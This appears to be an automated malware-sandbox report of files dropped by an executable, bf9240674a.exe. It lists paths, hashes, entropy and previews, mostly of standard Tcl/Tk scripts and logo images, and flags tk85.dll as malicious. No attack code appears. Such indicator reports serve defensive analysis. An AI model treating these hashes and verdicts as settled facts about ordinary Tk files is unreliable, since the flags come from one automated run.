Preview:	# word.tcl --.#.# This file defines various procedures for computing word boundaries in.# strings. This file is primarily needed so Tk text and entry widgets behave.# properly for different platforms..#.# Copyright (c) 1996 by Sun Microsystems, Inc..# Copyright (c) 1998 by Scritpics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# The following variables are used to determine which characters are.# interpreted as white space...if {$::tcl_platform(platform) eq "windows"} {. # Windows style - any but a unicode space char. set ::tcl_wordchars {\S}. set ::tcl_nonwordchars {\s}.} else {. # Motif style - any unicode word char (number, letter, or underscore). set ::tcl_wordchars {\w}. set ::tcl_nonwordchars {\W}.}..# Arrange for caches of the real matcher REs to be kept, which enables the REs.# themselves to be cached for greater performance (and somewhat greater.# clarity too

C:\Users\user\AppData\Local\Temp\_MEI77202\tk85.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1335296
Entropy (8bit):	6.301036497326883
Encrypted:	false
SSDEEP:	24576:yorhrGbk0PpCcnCKZrhzuSWTAEn/RgaT2NX8nYRZR2KUk:JcbwKrjWTADaOKYRZQ
MD5:	245C2904F86E27FD357ED7B3962CB435
SHA1:	D38FFB5474C20551740877F9939349F88AA78259
SHA-256:	8065EA4D6BA1CEFCB632B8C942F4ED19A4809816264F7BE5319119FD859B9065
SHA-512:	C646CAB1D9FB7D99AE673130EC0C621FA26DF9D02E264F27828CC27A3A91150E88C7C9BA8D474FD688A94FA9AAB9C8BCBD73F1048A877CFF4DE99D8CECCE7C9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.{...{...{....q..{....`..{....g..{....w..{...{...z....m.J{....v..{....p..{....u..{..Rich.{..........PE..L....x.]...........!.....^.........._........p...."......................................................................=........... ..................................................................@............p.. ............................text...@\.......^.................. ..`.rdata.......p.......b..............@..@.data........`.......L..............@....rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\bgerror.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8119
Entropy (8bit):	4.822252992121729
Encrypted:	false
SSDEEP:	192:tKrjzDL5//n7n0rBnT2dpEX9ImoYgMu1Z+4wNsf9IkzxekkEUoVS//iNx:tITL5//jxetHxKGkzxesvAKv
MD5:	9F9316AF7FB23FA66AF05529AF4B95C9
SHA1:	AE429F2175A1CEDF83F4A23E1EDAB6101028F5F1
SHA-256:	7CB80810562587D866D182A5F33174EF43B1E0CBBC2B15BF797B5A76B4FD1917
SHA-512:	2DE40D272B837B9A5A2F33B75E75B6335EB08F4756DDA8767AB3FC2FFE192B6929DE04D989A811216F133536562E3EB3EE20C3B2BDA919B8DC6FFAA53501A566
Malicious:	false
Reputation:	unknown
Preview:	# bgerror.tcl --.#.#.Implementation of the bgerror procedure. It posts a dialog box with.#.the error message and gives the user a chance to see a more detailed.#.stack trace, and possible do something more interesting with that.#.trace (like save it to a log). This is adapted from work done by.#.Donal K. Fellows..#.# Copyright (c) 1998-2000 by Ajuba Solutions..# Copyright (c) 2007 by ActiveState Software Inc..# Copyright (c) 2007 Daniel A. Steffen <das@users.sourceforge.net>..namespace eval ::tk::dialog::error {. namespace import -force ::tk::msgcat::. namespace export bgerror. option add ErrorDialog.function.text [mc "Save To Log"] \..widgetDefault. option add ErrorDialog.function.command [namespace code SaveToLog]. option add ErrorDialogLabel.font TkCaptionFont widgetDefault. if {[tk windowingsystem] eq "aqua"} {..option add ErrorDialogbackground systemAlertBackgroundActive \...widgetDefault..option add ErrorDialog*info.text.background white widgetDefault.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\button.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20134
Entropy (8bit):	4.902628577193507
Encrypted:	false
SSDEEP:	384:EzRtoY3wFnq+j4SpEdPmVmZ6/IVKuzmSaox2ESo+VtocUP5wFnq+j4SpEdPmV8ZK:GoahPSFMmfoz4oFXhPovzmToQBy0zm2I
MD5:	44757F5BDF236E6872FCF82E88D79ACC
SHA1:	01D45BC2E18BBD24FBB484E56C8DEDB270C2DC13
SHA-256:	716F551DA055EE03E0A5145633754917183264F70C657EC478B6D39B0DB20DE8
SHA-512:	4F4C7F878BF90BCFC6E08EBB3565A8D57A34307DCCA61E47B82C6715ACA1F3AA706A746CD893976049D4C3D5C1494EADCAF14B9866EA7C0DA6FCE0B94AAE3C0F
Malicious:	false
Reputation:	unknown
Preview:	# button.tcl --.#.# This file defines the default bindings for Tk label, button,.# checkbutton, and radiobutton widgets and provides procedures.# that help in implementing those bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 2002 ActiveState Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for buttons..#-------------------------------------------------------------------------..if {[tk windowingsystem] eq "aqua"} {. bind Radiobutton <Enter> {..tk::ButtonEnter %W. }. bind Radiobutton <1> {..tk::ButtonDown %W. }. bind Radiobutton <ButtonRelease-1> {..tk::ButtonUp %W. }. bind Checkbutton <Enter> {..tk::ButtonEnter %W. }. bind Checkbutton <1>

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\choosedir.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Nim source code, ASCII text
Category:	dropped
Size (bytes):	9644
Entropy (8bit):	4.7532230880971715
Encrypted:	false
SSDEEP:	192:MvjK3vpIKU7JBhpZofNAieYemp8U3wNV97oZAWpopePXUstccjocIv6tq9jJKT4L:M4viKeBQ+3M3wNwfwsFiSIv6wO7R33nC
MD5:	39531504664D07DB43D884F5D1BCA6A9
SHA1:	1B511035F111CACF45D5D23704345ABC7FFDF5C1
SHA-256:	A0F86258294A5D7D7A9475F3A397F5DABA4CF7D748A57C66EA456B4E8C6CA2E1
SHA-512:	BD50BA9E76D4CDEC1FCCED9EF3EED46767A8FE9DDFCAADD85858584FAB883AAB1B140BC7EF4E88E8690DD66E8209FFC165B27B4125F2CFE77DE54B27C3454123
Malicious:	false
Reputation:	unknown
Preview:	# choosedir.tcl --.#.#.Choose directory dialog implementation for Unix/Mac..#.# Copyright (c) 1998-2000 by Scriptics Corporation..# All rights reserved...# Make sure the tk::dialog namespace, in which all dialogs should live, exists.namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::file {}..# Make the chooseDir namespace inside the dialog namespace.namespace eval ::tk::dialog::file::chooseDir {. namespace import -force ::tk::msgcat::*.}..# ::tk::dialog::file::chooseDir:: --.#.#.Implements the TK directory selection dialog..#.# Arguments:.#.args..Options parsed by the procedure..#.proc ::tk::dialog::file::chooseDir:: {args} {. variable ::tk::Priv. set dataName __tk_choosedir. upvar ::tk::dialog::file::$dataName data. Config $dataName $args.. if {$data(-parent) eq "."} {. set w .$dataName. } else {. set w $data(-parent).$dataName. }.. # (re)create the dialog box if necessary. #. if {![winfo exists $w]} {..::tk::dialog::file::Create

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\clrpick.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21301
Entropy (8bit):	4.982898618853273
Encrypted:	false
SSDEEP:	384:HjJsgeqJelEc661T26UYdBVDyPHxQlefbGIjVjrdOqAQBxhKN2zD5yT9RmqEdFC6:DagJJlRfxQEHN
MD5:	6E658C822220893266EAE22DC14DFF01
SHA1:	AFF84F123E886DF2FCFBE69488AC733E26697F8F
SHA-256:	1C4AB4BBBD9C37B6F4696917030AD13BBB14CD4502FF81AD211157D8BCE6C29A
SHA-512:	DE7A7BC99644B8AD5FB89F4FBEAE648951AA6EDB213CA8D2CFFA8D6EADA2D194C6996DA120536B915020D2A5E4921E08E7D05A478A18DB1A0283ECAC26D56954
Malicious:	false
Reputation:	unknown
Preview:	# clrpick.tcl --.#.#.Color selection dialog for platforms that do not support a.#.standard color selection dialog..#.# Copyright (c) 1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#.# ToDo:.#.#.(1): Find out how many free colors are left in the colormap and.#. don't allocate too many colors..#.(2): Implement HSV color selection. .#..# Make sure namespaces exist.namespace eval ::tk {}.namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::color {. namespace import ::tk::msgcat::*.}..# ::tk::dialog::color:: --.#.#.Create a color dialog and let the user choose a color. This function.#.should not be called directly. It is called by the tk_chooseColor.#.function when a native color selector widget does not exist.#.proc ::tk::dialog::color:: {args} {. variable ::tk::Priv. set dataName __tk__color. upvar ::tk::dialog::color::$dataName data. set w .$dataName

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\comdlg.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7726
Entropy (8bit):	5.004404304157801
Encrypted:	false
SSDEEP:	192:Aq7APy5HEO9KY8QHyWpLWNRYG50aGAZbQWlO+W0WvHv/3WvWHLV7LKpTTk:Aq7A6HJ9K+yWpaNRYuVDST1rvveuHZLT
MD5:	2E0793510BA032CBE424A716CF00A8F0
SHA1:	DCE9925FF6FCA2CB34D9FAC0280E97924DE885A7
SHA-256:	2591BBD2BC87D8F551A12D5F7F3F3EF21F070244E5EBA62E09DB003787F91790
SHA-512:	4D81B1E9569650C85978045AD5AAC78EF37A986F1DC21A5A10E7544B1D2269184A5571D8F6C0CA9D61CA2C78B94BA7100B3ACC46F89520A1829A87533B29FA03
Malicious:	false
Reputation:	unknown
Preview:	# comdlg.tcl --.#.#.Some functions needed for the common dialog boxes. Probably need to go.#.in a different file..#.# Copyright (c) 1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# tclParseConfigSpec --.#.#.Parses a list of "-option value" pairs. If all options and.#.values are legal, the values are stored in.#.$data($option). Otherwise an error message is returned. When.#.an error happens, the data() array may have been partially.#.modified, but all the modified members of the data(0 array are.#.guaranteed to have valid values. This is different than.#.Tk_ConfigureWidget() which does not modify the value of a.#.widget record if any error occurs..#.# Arguments:.#.# w = widget record to modify. Must be the pathname of a widget..#.# specs = {.# {-commandlineswitch resourceName ResourceClass defaultValue verifier}.# {....}.# }.#.# flags = currently unused..#.# argList

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\console.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29634
Entropy (8bit):	4.917740343704056
Encrypted:	false
SSDEEP:	384:eWptONWz4xOtyU/W1ZQWiVEwYGl7nS5r+KtuQlLW4qvRHTrStCO2FfB2vW3cwcZL:eWp0NWz4niTeG6r+K4YE6GMWFOYoV
MD5:	3F162B54E4981151C12FE7ABC899D754
SHA1:	C668D83FB92246714B9296303B14772BE4406C24
SHA-256:	0C4F8AFDF412C3A23BE4C87BC597A32E98995E4957841021FBA34D0938B49F60
SHA-512:	84FB3295EF2907A26E968553F8B65F4FE38E9C11D0A303CFF3F7477E474E397FA6319013ED7174D0057D5D4C8127D5A73BFFD56D32D085F258A7689795AC4396
Malicious:	false
Reputation:	unknown
Preview:	# console.tcl --.#.# This code constructs the console window for an application. It.# can be used by non-unix systems that do not have built-in support.# for shells..#.# Copyright (c) 1995-1997 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Ajuba Solutions..# Copyright (c) 2007 Daniel A. Steffen <das@users.sourceforge.net>.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# TODO: history - remember partially written command..namespace eval ::tk::console {. variable blinkTime 500 ; # msecs to blink braced range for. variable blinkRange 1 ; # enable blinking of the entire braced range. variable magicKeys 1 ; # enable brace matching and proc/var recognition. variable maxLines 600 ; # maximum # of lines buffered in console. variable showMatches 1 ; # show multiple expand matches.. variable inPlugin [info exists embed_args]. variable defaultPrompt ; # default prompt

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\dialog.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6006
Entropy (8bit):	4.773863015400918
Encrypted:	false
SSDEEP:	96:WfPaDCAV8OgciKHKKcmQH+DmlYm4Kalo9mBy//IWxIb:WfPwCAVviKHKK4H+DmT4Kalo4ynDOb
MD5:	02E1EA6A212E59B5B2C0B19527997D25
SHA1:	1FEE1494D003542D114A5C7AE01A3DDEBDF3D871
SHA-256:	8B15235D85AC90ED02EC86C48EA674C94FBB1A84E126867A5A6945A1F694743F
SHA-512:	3589303BFB0C3306473770F54425111BE22EC0E66F618E7598A6082810469A3ADA44F6D44CA3A7E1760EC67277349AF6EF98A7D2949E839D910519F225DFF41B
Malicious:	false
Reputation:	unknown
Preview:	# dialog.tcl --.#.# This file defines the procedure tk_dialog, which creates a dialog.# box containing a bitmap, a message, and one or more buttons..#.# Copyright (c) 1992-1993 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#.# ::tk_dialog:.#.# This procedure displays a dialog box, waits for a button in the dialog.# to be invoked, then returns the index of the selected button. If the.# dialog somehow gets destroyed, -1 is returned..#.# Arguments:.# w -..Window to use for dialog top-level..# title -.Title to display in dialog's decorative frame..# text -.Message to display in dialog..# bitmap -.Bitmap to display in dialog (empty string means none)..# default -.Index of button that is to display the default ring.#..(-1 means none)..# args -.One or more strings to display in buttons across the.#..bottom of t

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\entry.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17147
Entropy (8bit):	4.928989585252014
Encrypted:	false
SSDEEP:	384:PleFkH2fRdOnOeQod3tCAERebMIDlXVQgXwVviw:P8FDqUy8V
MD5:	570E6828DE3D920F3D28929A80AE709A
SHA1:	9454DC6EC8262704FE46714C341A7A5A7C1032D5
SHA-256:	10C9CB07C75F0E9FCC88576672A275BD35D91CC157CDF6C1FEF54998C32722C3
SHA-512:	F9E2AE818056027A5DA2483CB26B26E0A7A48F2141DD84442570333EF12DCD773B79B7596111FA17A3B0B46ADC89B7D4481D38F5478DBCF82D13DA4BA77BD0A9
Malicious:	false
Reputation:	unknown
Preview:	# entry.tcl --.#.# This file defines the default bindings for Tk entry widgets and provides.# procedures that help in implementing those bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for example,.#...start dragging out a selection)..# pressX -..X-coordinate at which the mouse button was pressed..# selectMode -..The style of selection currently underway:.#...char, word, or line..# x, y -..La

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\focus.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4857
Entropy (8bit):	4.7675047842795895
Encrypted:	false
SSDEEP:	96:mumhRUI7F2WyHm6BUyNhEf6jUHKRUI7F2WyQe6L763AcnK0/61sk2ko5AgEplauw:ERUQFU52CNRUQFpLOQIG1sk2TCLplauw
MD5:	7EA007F00BF194722FF144BE274C2176
SHA1:	6835A515E85A9E55D5A27073DAE1F1A5D7424513
SHA-256:	40D4E101A64B75361F763479B01207AE71535337E79CE6E162265842F6471EED
SHA-512:	E2520EB065296C431C71DBBD5503709CF61F93E74FE324F4F8F3FE13131D62435B1E124D38E2EC84939B92198A54B8A71DFC0A8D32F0DD94139C54068FBCAAF2
Malicious:	false
Reputation:	unknown
Preview:	# focus.tcl --.#.# This file defines several procedures for managing the input.# focus..#.# Copyright (c) 1994-1995 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_focusNext --.# This procedure returns the name of the next window after "w" in.# "focus order" (the window that should receive the focus next if.# Tab is typed in w). "Next" is defined by a pre-order search.# of a top-level and its non-top-level descendants, with the stacking.# order determining the order of siblings. The "-takefocus" options.# on windows determine whether or not they should be skipped..#.# Arguments:.# w -..Name of a window...proc ::tk_focusNext w {. set cur $w. while {1} {...# Descend to just before the first child of the current widget....set parent $cur..set children [winfo children $cur]..set i -1...# Look for the next sibling that isn't a top-level....while {1} {.. incr i..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\README

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	4.341180398587801
Encrypted:	false
SSDEEP:	6:nVhmHdeA1xNZgkrIf3Ju4dFi6VbGWrWhr3W7FxmVFraGVAJFKyVQR7icrtpwB:nPqf1fZgZA4FJbB6dm7FUjAJVVMM
MD5:	FC8A86E10C264D42D28E23D9C75E7EE5
SHA1:	F1BA322448D206623F8FE734192F383D8F7FA198
SHA-256:	2695ADFF8E900C31B4D86414D22B8A49D6DD865CA3DD99678FA355CDC46093A8
SHA-512:	29C2DF0D516B5FC8E52CB61CFCD07AF9C90B40436DFE64CEFDB2813C0827CE65BA50E0828141256E2876D4DC251E934A6854A8E0B02CDAF466D0389BD778AEF0
Malicious:	false
Reputation:	unknown
Preview:	README - images directory..This directory includes images for the Tcl Logo and the Tcl Powered.Logo. Please feel free to use the Tcl Powered Logo on any of your.products that employ the use of Tcl or Tk. The Tcl logo may also be.used to promote Tcl in your product documentation, web site or other.places you so desire..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\logo.eps

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PostScript document text conforming DSC level 3.0, type EPS
Category:	dropped
Size (bytes):	32900
Entropy (8bit):	5.235207715374815
Encrypted:	false
SSDEEP:	768:gGTVOEcRWsdEmhp6k/GLrPMlK3pJr/IbYDGDMtBF2Fz6fsFA/fSvqHWukLI2d0Nr:gGTVOEcRWsdEvLrPJ5Jr/IbYDGDMtBFh
MD5:	45175418859AF67FE417BD0A053DB6E5
SHA1:	2B499B7C4EBC8554ECC07B8408632CAF407FB6D5
SHA-256:	F3E77FD94198EC4783109355536638E9162F9C579475383074D024037D1797D3
SHA-512:	114A59FD6B99FFD628BA56B8E14FB3B59A0AB6E752E18DEA038F85DBC072BF98492CE9369D180C169EDE9ED2BD521D8C0D607C5E4988F2C83302FC413C6D6A4C
Malicious:	false
Reputation:	unknown
Preview:	%!PS-Adobe-3.0 EPSF-3.0.%%Creator: Adobe Illustrator(TM) 5.5.%%For: (Bud Northern) (Mark Anderson Design).%%Title: (TCL/TK LOGO.ILLUS).%%CreationDate: (8/1/96) (4:58 PM).%%BoundingBox: 251 331 371 512.%%HiResBoundingBox: 251.3386 331.5616 370.5213 511.775.%%DocumentProcessColors: Cyan Magenta Yellow.%%DocumentSuppliedResources: procset Adobe_level2_AI5 1.0 0.%%+ procset Adobe_IllustratorA_AI5 1.0 0.%AI5_FileFormat 1.2.%AI3_ColorUsage: Color.%%DocumentCustomColors: (TCL RED).%%CMYKCustomColor: 0 0.45 1 0 (Orange).%%+ 0 0.25 1 0 (Orange Yellow).%%+ 0 0.79 0.91 0 (TCL RED).%AI3_TemplateBox: 306 396 306 396.%AI3_TileBox: 12 12 600 780.%AI3_DocumentPreview: Macintosh_ColorPic.%AI5_ArtSize: 612 792.%AI5_RulerUnits: 0.%AI5_ArtFlags: 1 0 0 1 0 0 1 1 0.%AI5_TargetResolution: 800.%AI5_NumLayers: 1.%AI5_OpenToView: 90 576 2 938 673 18 1 1 2 40.%AI5_OpenViewLayers: 7.%%EndComments.%%BeginProlog.%%BeginResource: procset Adobe_level2_AI5 1.0 0.%%Title: (Adobe Illustrator (R) Version 5.0 Level 2 Emul

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\logo100.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 68 x 100
Category:	dropped
Size (bytes):	2341
Entropy (8bit):	6.9734417899888665
Encrypted:	false
SSDEEP:	48:qF/mIXn3l7+ejbL/4nZEsKPKer1OPQqVRqJbPpRRKOv/UVO47f:81nHL4T0KorxvRKkc847f
MD5:	FF04B357B7AB0A8B573C10C6DA945D6A
SHA1:	BCB73D8AF2628463A1B955581999C77F09F805B8
SHA-256:	72F6B34D3C8F424FF0A290A793FCFBF34FD5630A916CD02E0A5DDA0144B5957F
SHA-512:	10DFE631C5FC24CF239D817EEFA14329946E26ED6BCFC1B517E2F9AF81807977428BA2539AAA653A89A372257D494E8136FD6ABBC4F727E6B199400DE05ACCD5
Malicious:	false
Reputation:	unknown
Preview:	GIF89aD.d...............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....D.d........H......\...z..Ht@Q...92.p...z.$.@@.E..u.Y.2..0c..q.cB.,[..... ..1..qbM.2~].....s...S.@.L.j..#..\......h..........].D(..m......@.Z....oO...3=.c...G".(..pL...q]..%....[...#...+...X.h....^.....

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\logo64.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 43 x 64
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	6.326462043862671
Encrypted:	false
SSDEEP:	48:PF/mIXn3l7+ejbL/4xsgq4sNC6JYp6s/pmp76F:/1nHL404raM/op2
MD5:	B226CC3DA70AAB2EBB8DFFD0C953933D
SHA1:	EA52219A37A140FD98AEA66EA54685DD8158D9B1
SHA-256:	138C240382304F350383B02ED56C69103A9431C0544EB1EC5DCD7DEC7A555DD9
SHA-512:	3D043F41B887D54CCADBF9E40E48D7FFF99B02B6FAF6B1DD0C6C6FEF0F8A17630252D371DE3C60D3EFBA80A974A0670AF3747E634C59BDFBC78544D878D498D4
Malicious:	false
Reputation:	unknown
Preview:	GIF89a+.@...............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....+.@........H. .z..(tp......@...92....#. A.......C.\.%...)Z..1a.8s..W/..@....3..C...y$.GW.....5.FU..j..;.F(Pc+W.-..X.D-[.*g....F..`.:mkT...Lw...A/.....u.7p..a..9P.....q2..Xg..G....3}AKv.\.d..yL.>..1.#

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\logoLarge.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 354 x 520
Category:	dropped
Size (bytes):	11000
Entropy (8bit):	7.88559092427108
Encrypted:	false
SSDEEP:	192:d+nY6zludc/We/yXy9JHBUoIMSapQdrGlapzmyNMK1vbXkgMmgFW/KxIq3NhZe:YnY6p4c/OCHyowaGUaCcMK1vbXNwFW/l
MD5:	45D9B00C4CF82CC53723B00D876B5E7E
SHA1:	DDD10E798AF209EFCE022E97448E5EE11CEB5621
SHA-256:	0F404764D07A6AE2EF9E1E0E8EAAC278B7D488D61CF1C084146F2F33B485F2ED
SHA-512:	6E89DACF2077E1307DA05C16EF8FDE26E92566086346085BE10A7FD88658B9CDC87A3EC4D17504AF57D5967861B1652FA476B2DDD4D9C6BCFED9C60BB2B03B6F
Malicious:	false
Reputation:	unknown
Preview:	GIF89ab.................f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3.............f..3..........f.3...f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3.............f..3............f..3.............f..3....f..f.f..ff.f3.f..3..3.3..3f.33.3...........f..3...f..f..f..f.ff.3f..f..f..f.f.ff.3f..f..f..f..f.ff.3f..ff.ff.ff.fffff3ff.f3.f3.f3.f3ff33f3.f..f..f..f.ff.3f..3..3..3..3.f3.33..3..3..3.3.f3.33..3..3..3..3.f3.33..3f.3f.3f.3ff3f33f.33.33.33.33f33333.3..3..3..3.f3.33.............f..3.............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3...............w..U..D..".....................w..U..D..".....................w..U..D..".................wwwUUUDDD"""......,....b..........H......\....#J.H....3j.... '.;p....(.8X..^.0c.I...z8O.\.....:....$..Fu<8`...P.>%I.gO.C.h-..+.`....@..h....dJ.?...K...H.,U.._.#...g..[.^.x.....J.L.!.'........=+eZ..i..ynF.8...].y\|..m.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\logoMed.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 87a, 120 x 181
Category:	dropped
Size (bytes):	3889
Entropy (8bit):	7.425138719078912
Encrypted:	false
SSDEEP:	48:9qqbIh+cE4C8ric/jxK5mxsFBu3/0GIJ6Qap1Y5uMiR8pw5rB/SgijDb+TOh:hy+mnZ7xK5IsTwDQmkdiiG5rB/BE+6h
MD5:	BD12B645A9B0036A9C24298CD7A81E5A
SHA1:	13488E4F28676F1E0CE383F80D13510F07198B99
SHA-256:	4D0BD3228AB4CC3E5159F4337BE969EC7B7334E265C99B7633E3DAF3C3FCFB62
SHA-512:	F62C996857CA6AD28C9C938E0F12106E0DF5A20D1B4B0B0D17F6294A112359BA82268961F2A054BD040B5FE4057F712206D02F2E668675BBCF6DA59A4DA0A1BB
Malicious:	false
Reputation:	unknown
Preview:	GIF87ax............................................................................z.....{..o.....m..b...`{.X....vy...hk.Um.N...I`.D..Z^.LP.?R.;!....?C.5C.3#.l..,6.&.15...`..#(.If.y.....l...._..#/...Hm.>_.y..4R.k..#6..._......w..K.^.."<.....G{.w..3_."C.Q..F....v..!K...v.2m.)_.[..!R.u.1t.g..)f. X.O..E..1z.g. _.Z..D..:..0..Z.. f.D..0..'z..m.N..C../.z.svC.q/.m.ze7.\..P..I..1%.,...............................................................................................................................................................................................................................................................................................................................................................................................,....x..........H.......D..!...7.PAQ...._l8.... C.<.a...*.x....0q.. ..M.%.<.HBe.@.....Q..7..XC..P..<z3..X...P.jA.%'@.J.lV.......R.,..+....t....7h.....(..a...+^.'..7..L.....V...s..$....a.....8`.9..}K......

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo.eps

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PostScript document text conforming DSC level 3.0, type EPS
Category:	dropped
Size (bytes):	27809
Entropy (8bit):	5.331778921404698
Encrypted:	false
SSDEEP:	768:geQTVOEcRWsdEmhp6k/GLrPMlK3pJrNIbYDGDMtBgu2Fz6lR5G/r+FWaGK:gnTVOEcRWsdEvLrPJ5JrNIbYDGDMtB9L
MD5:	BA1051DBED2B8676CAA24593B88C91B2
SHA1:	8A58FC19B20BFDC8913515D9B32CCBF8ACF92344
SHA-256:	2944EBC4AF1894951BF9F1250F4E6EDF811C2183745950EA9A8A926715882CF7
SHA-512:	4260CEBA7DA9463F32B0C76A2AC19D2B20C8FE48CFBA3DC7AF748AAE15FA25DCBDA085072DF7EFC8F4B4F304C7ED166FE9F93DC903E32FA1874E82D59E544DEF
Malicious:	false
Reputation:	unknown
